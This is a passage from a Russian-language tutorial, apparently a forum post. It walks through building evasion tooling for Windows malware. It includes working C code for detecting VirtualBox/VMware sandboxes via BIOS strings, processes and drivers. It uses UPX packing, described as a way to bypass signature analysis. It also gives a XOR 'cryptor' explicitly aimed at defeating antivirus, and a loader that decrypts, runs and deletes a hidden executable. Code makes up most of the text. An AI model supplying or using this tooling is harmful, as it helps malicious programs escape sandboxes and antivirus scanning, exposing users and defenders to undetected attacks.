CloseHandle(snapshot);
return 1;
}
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return 0;
}
// 3
int isVirtualMachineByDrivers() {
const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"};
for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) {
if (GetModuleHandleA(vmDrivers[i]) != NULL) {
return 1;
}
}
return 0;
}
// 4
int isRunningOnVirtualMachine() {
if (isVirtualMachineByBios()) {
printf("Обнаружена виртуальная машина через BIOS!\n");
return 1;
}
if (isVirtualMachineByProcess()) {
printf("Обнаружена виртуальная машина по процессам!\n");
return 1;
}
if (isVirtualMachineByDrivers()) {
printf("Обнаружена виртуальная машина по драйверам!\n");
return 1;
}
return 0;
}
- Функция проверяет наличие признаков виртуальной машины через информацию о BIOS. Открывается ключ реестра HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System для чтения, и считывается значение, содержащее информацию о BIOS. Далее оно сравнивается с известными строками, которые могут указывать на виртуальные машины: VMware, VirtualBox, VBOX, QEMU, Hyper-V.
- Следующая функция проверяет, запущены ли процессы, типичные для виртуальных машин. Используется CreateToolhelp32Snapshot для получения списка всех активных процессов. Затем выполняется итерация по всем процессам, и каждый процесс сравнивается с известными именами исполняемых файлов, связанными с виртуальными машинами.
- Функция проверяет наличие драйверов, характерных для виртуальных машин. Создаётся список известных виртуальных драйверов. Для каждого драйвера вызывается функция GetModuleHandleA, чтобы проверить, загружен ли он в память.
- Все проверки объединяются в рамках одной функции для комплексного анализа.
Для уменьшения размера исполняемого файла, затруднения статического анализа и обхода сигнатурного анализа воспользуемся упаковщиком UPX (Ultimate Packer for eXecutables). Принцип работы следующий: исходный файл → UPX сжимает и добавляет декомпрессор → создаётся новый исполняемый файл. При запуске: декомпрессор загружает сжатый код → распаковывает его в оперативную память → выполняет оригинальный код.
Команда для работы: upx --best -o main_packed.exe main.exe. Флаг --best указывает UPX использовать максимальный уровень сжатия, флаг -o означает output (выходной файл).
Далее попробуем реализовать простой криптор файла. Криптор служит для схожих задач с упаковщиком, за исключением того, что криптор заточен на обход антивирусных систем, тогда как упаковщик предназначен для сжатия исполняемого файла.
В его алгоритме используется XOR-операция с заданным ключом. XOR (исключающее ИЛИ) — это логическая операция, которая работает с двумя битами. Она сравнивает два бита и возвращает 1, если эти биты разные, и 0, если они одинаковые. Каждый байт из исходного файла будет подвергаться операции XOR с определённым значением ключа.
Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):
- Исходный символ (байт): 65 (в двоичной системе 01000001)
- Ключ (123) в двоичной системе: 01111011
Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).
Результат: 58 (в десятичной системе), что соответствует символу ":". Таким образом, символ "A" с помощью XOR-операции и ключа 123 превращается в символ ":".
Процесс дешифровки работает так же, потому что XOR имеет свойство, при котором дважды применённая операция XOR с одним и тем же ключом возвращает исходное значение. То есть, если мы зашифровали файл с помощью XOR, мы можем снова применить XOR с тем же ключом, чтобы восстановить исходные данные.
Перей
C: Скопировать в буфер обмена
Код:
дём к коду криптора:
#include <stdio.h>
#include <stdlib.h>
void xorEncryptDecrypt(const char *inputFile, const char *outputFile, const char key) {
FILE *in = fopen(inputFile, "rb");
FILE *out = fopen(outputFile, "wb");
if (!in || !out) {
printf("Ошибка при открытии файлов.\n");
return;
}
int byte;
while ((byte = fgetc(in)) != EOF) {
fputc(byte ^ key, out);
}
fclose(in);
fclose(out);
printf("Файл успешно обработан.\n");
}
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("Использование: %s <inputFile> <outputFile> <key>\n", argv[0]);
return 1;
}
const char key = (char)atoi(argv[3]);
xorEncryptDecrypt(argv[1], argv[2], key);
return 0;
}
Читаем каждый байт исходного файла, реализуем операцию XOR с ключом и записываем результат в выходной файл.
Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
void xorDecryptToFile(const char *encryptedFile, const char *outputFile, const char key) {
FILE *in = fopen(encryptedFile, "rb");
FILE *out = fopen(outputFile, "wb");
if (!in || !out) {
printf("Ошибка открытия файлов.\n");
if (in) fclose(in);
if (out) fclose(out);
return;
}
int byte;
while ((byte = fgetc(in)) != EOF) {
fputc(byte ^ key, out);
}
fclose(in);
fclose(out);
printf("Файл успешно дешифрован в %s\n", outputFile);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Использование: %s <encryptedFile> <key>\n", argv[0]);
return 1;
}
const char key = (char)atoi(argv[2]);
const char *tempFile = "temp_main.exe";
xorDecryptToFile(argv[1], tempFile, key);
printf("Запуск временного файла...\n");
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("Ошибка запуска процесса.\n");
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (remove(tempFile) == 0) {
printf("Временный файл удалён.\n");
} else {
printf("Не удалось удалить временный файл.\n");
}
return 0;
}
Код расшифровывает зашифрованный файл с использованием того же ключа и вызывает функцию CreateProcess для запуска расшифрованного файла (temp_main.exe). Затем программа ждёт завершения выполнения и после этого удаляет временный файл.
Поскольку у программы нет цели оставаться в системе больше чем на один запуск, никаких шагов по обеспечению постоянства, таких как DLL-инъекции, предпринимать не будет.
Трям! Пока!